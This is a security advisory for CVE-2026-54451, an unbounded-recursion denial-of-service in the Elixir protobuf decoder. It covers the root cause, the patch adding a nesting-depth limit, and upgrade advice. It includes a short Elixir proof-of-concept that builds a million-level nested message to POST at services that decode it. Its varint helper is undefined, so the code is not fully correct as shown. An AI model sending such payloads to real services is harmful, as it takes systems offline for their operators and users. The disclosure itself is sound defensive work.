highCVE-2026-54451Jul 15, 2026

CVE-2026-54451: elixir-protobuf Unbounded Recursion DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The Elixir protobuf decoder had no recursion depth limit, so an attacker could send a tiny message with millions of nested levels to crash any service that decodes untrusted protobuf data.

Packageprotobuf
Ecosystemerlang
Affected>= 0.8.0, < 0.16.1
Fixed in0.16.1

The problem

Protobuf.Decoder.value_for_field/3 handles embedded message fields by calling decode(bin, type) recursively. That call is not in tail position, so every nesting level retains a live frame on the process stack and heap.

There is no depth counter anywhere in the decoder. For any schema with a self-referential message type (for example, message Tree { Tree child = 1; }), the attacker controls depth entirely through the input bytes. Each extra level costs only a 1-byte tag plus a varint length prefix, so a few MB of body can drive millions of recursive frames, exhausting memory and pinning a BEAM scheduler.

A handful of concurrent requests can take the node offline.

Proof of concept

A working proof-of-concept for CVE-2026-54451 in protobuf, with the exact payload below.

elixir
# Schema (self-referential, proto3)
# message Tree { Tree child = 1; }

# Build wire-format body in Elixir: nest field 1 (tag 0x0A, wire type 2) to `depth` levels.
# Each level: <<0x0A, varint(inner_size)>> <> inner
# At depth 0 the inner blob is <<>> (empty message).

depth = 1_000_000

body =
  Enum.reduce(1..depth, <<>>, fn _i, inner ->
    inner_size = byte_size(inner)
    # encode varint length prefix
    len_varint = :binary.encode_unsigned(inner_size) |> varint_encode()
    <<0x0A>> <> len_varint <> inner
  end)

# POST `body` with Content-Type: application/x-protobuf
# to any endpoint that calls Tree.decode(body).
# Protobuf.Decoder recurses once per level; at 1_000_000 levels
# the process burns hundreds of MB and seconds of CPU before crashing.

The root cause is CWE-674 (Uncontrolled Recursion). value_for_field/3 at decoder.ex lines 218-243 calls decode(bin, type) for embedded fields, which re-enters build_message -> handle_value -> value_for_field without ever decrementing a counter or checking depth.

Because the call is not tail-recursive, every level retains a live stack frame.

The fix threads a depth counter through the decoder call chain and raises Protobuf.DecodeError once it exceeds a configurable :max_nesting_depth limit, defaulting to 100, matching Google's reference C++ and Java implementations. Patch commit b8efa97790eece3d2d0e8e7c31a45ed409fe5338 in elixir-protobuf/protobuf introduced this guard.

The fix

Upgrade the protobuf Hex package to 0.16.1 or later. The patched decoder enforces a default max nesting depth of 100. If you need a different limit, pass the option explicitly: Protobuf.decode(binary, MyMsg, max_nesting_depth: 50). If an immediate upgrade is not possible, reject oversized request bodies at the HTTP layer or decode in an isolated process with memory and CPU limits so a crash stays contained.

Reporter not attributed.

References: [1][2][3][4]

Related research